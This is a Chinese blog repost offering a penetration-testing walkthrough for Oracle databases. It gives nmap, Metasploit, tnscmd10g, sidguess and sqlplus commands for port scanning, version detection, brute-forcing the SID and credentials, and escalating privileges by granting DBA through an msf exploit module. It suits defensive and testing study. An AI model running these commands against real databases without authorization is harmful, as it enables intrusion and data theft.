对oracle数据库的安全测试

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。针对Oracle数据库如何测试呢?

检测数据库端口是否开放

这个任务可以使用nmap来对目标IP进行测试,也可以使用其他的端口扫描工具,下面就以nmap为例,可以使用如下命令:

nmap -Pn -n -T4 --open -p1521 <target IP>

检查数据库的版本信息

得到一个存活的oracle数据库服务端口,了解数据库的版本信息非常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。

1 利用msf

使用如下模块来对数据库进行版本探测:

msf > use auxiliary/scanner/oracle/tnslsnr_version

2 使用tnscmd10g

tnscmd10g是kali下的一个工具,命令如下:

tnscmd10g version -h <target IP> tnscmd10g status -h <target IP>

通过上述命令可以得到版本信息、日志文件、跟踪信息以及端口信息

获取数据库的SID

连接oracle数据库不仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:

1 使用msf

msf下有两个模块可以完成这个操作,命令如下:

msf > use auxiliary/scanner/oracle/sid_enummsf > use auxiliary/admin/oracle/sid_brute

2 使用sidguess

sidguess是kali下的一款爆破Oracle SID的工具,命令如下:

sidguess -i <target IP> -d /home/myh0st/pass.txt

3 针对自带web管理平台

如果oracle的版本为10g,默认自带通过8080端口远程管理的可以访问以下路径:

http://<target IP>:8080/oradb/PUBLIC/GLOBAL_NAME

枚举数据库账号密码

枚举爆破数据库连接账号密码可以使用下面的方式。

1 使用msf

使用这个模块需要指定SID,就是要在获取到SID后才能使用,使用模块如下:

msf > use auxiliary/admin/oracle/login_brute set SID <sid>

2 使用sqlplus

sqlplus是oracle自带的数据库管理工具,可以使用以下命令登录数据库,也可以自己写脚本来枚举账号密码:

sqlplus <username>/<password>@<target IP>:<port>/<SID>

使用sql命令提权

在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:

msf > use auxiliary/admin/oracle/sql set DBUSER <user> set DBPASS <password> set SID <sid> set SQL select * from user_role_privs

msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor set DBUSER <user> set DBPASS <password> set SID <sid> set SQL GRANT DBA TO <user> set SQL GRANT JAVASYSPRIV TO <user>

获取数据库里关键信息的sql命令

查询数据库版本:

select * from v$version;

数据库打补丁情况:

select * from dba_registry_history;

查看所有用户:

select * from all_users;

查询数据库中的所有表:

select owner,table_name from all_tables;

当前用户被激活的角色:

select * from session_roles;

描述数据库对象:

desc utl_http

本文的内容来互联网,找不到出处了,有任何问题可以留言,如果有熟悉的朋友,欢迎指导。请不要吝啬你的知识,分享一下,互相学习。有没有觉得排版还不错?经过大佬的鄙视后,我决定认真排版了,欢迎大家给我投稿,让我好好学一下排版,给我个机会好吗?我是通过修改Typora的css文件搞的,如果有修改好的主题,可以给我共享一份,这样可以让大家在看文章的时候更舒服

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-09-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏信安之路

记一次线下赛靶机攻击过程

咋一眼看过去除了 80 端口的 web 以为就没其他端口了,尝试着进行全端口扫描发现,还是一样。

9300
来自专栏杨建荣的学习笔记

巧用外部表备份历史数据(r5笔记第62天)

在很多的系统中,随着时间的推移,都会沉淀大量的历史数据。一般数据量达到一定程度都会考虑使用分区表来处理。根据业务规则,可能有些历史数据隔一段时间就需要做清理了,...

378120
来自专栏我的小碗汤

ElasticSearch学习笔记之原理介绍

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsear...

28020
来自专栏潇涧技术专栏

Hello Octopress

2016-11-13 update: 后来我的博客先后从Octopress进化到Hexo以及现在的Hugo

8520
来自专栏杨建荣的学习笔记

Django初探(二)

之前写过一篇Django的介绍,简单部署之后就没有深入跟进了。 Django初探 上周末去广州参加技术大会,在往返的飞机上,自己调试了下Django里面的内容。...

34390
来自专栏FreeBuf

Tunnel:论如何在内网中自由渗透

*本文作者:戒贤,本文属FreeBuf原创奖励计划,未经许可禁止转载 背景 能够成功地通过web漏洞获取到webshell,对于一次完整的渗透测试来说,仅仅相当...

371100
来自专栏CDA数据分析师

Excel简化办公系列之二 | 录制宏快速制作工资条

本文为CDA作者青菜原创文章,转载请注明来源 编者按:CDA作者青菜将在近期发布「Excel简化办公」系列文章,本文是第二篇;更多精彩请持续关注~ 今天午饭后和...

23580
来自专栏AhDung

【SQL】SQL2012离线帮助文档安装不上的处理手记

我SQL实例装的是2008 R2版,由于该版自带的SSMS(Microsoft SQL Server Management Studio 管理工具)存在一些操蛋...

22230
来自专栏BeJavaGod

Java并发和多线程那些事儿

我记得我接触电脑的时候是在小学三年级的时候,那是1995年,那年发布了windows95,但是我学习的时候还是只是dos系统,简单对于文件的一些命令操作还有五笔...

34350
来自专栏黑白安全

西门子 SIPROTEC、Reyrolle 设备曝高危漏洞,或致变电站等供电设施遭受攻击

近日, ICS-CERT 发布安全报告称西门子 SIPROTEC 4,SIPROTEC Compact 以及 Reyrolle 设备存在的三个漏洞可能会被黑客利...

11840

扫码关注云+社区

领取腾讯云代金券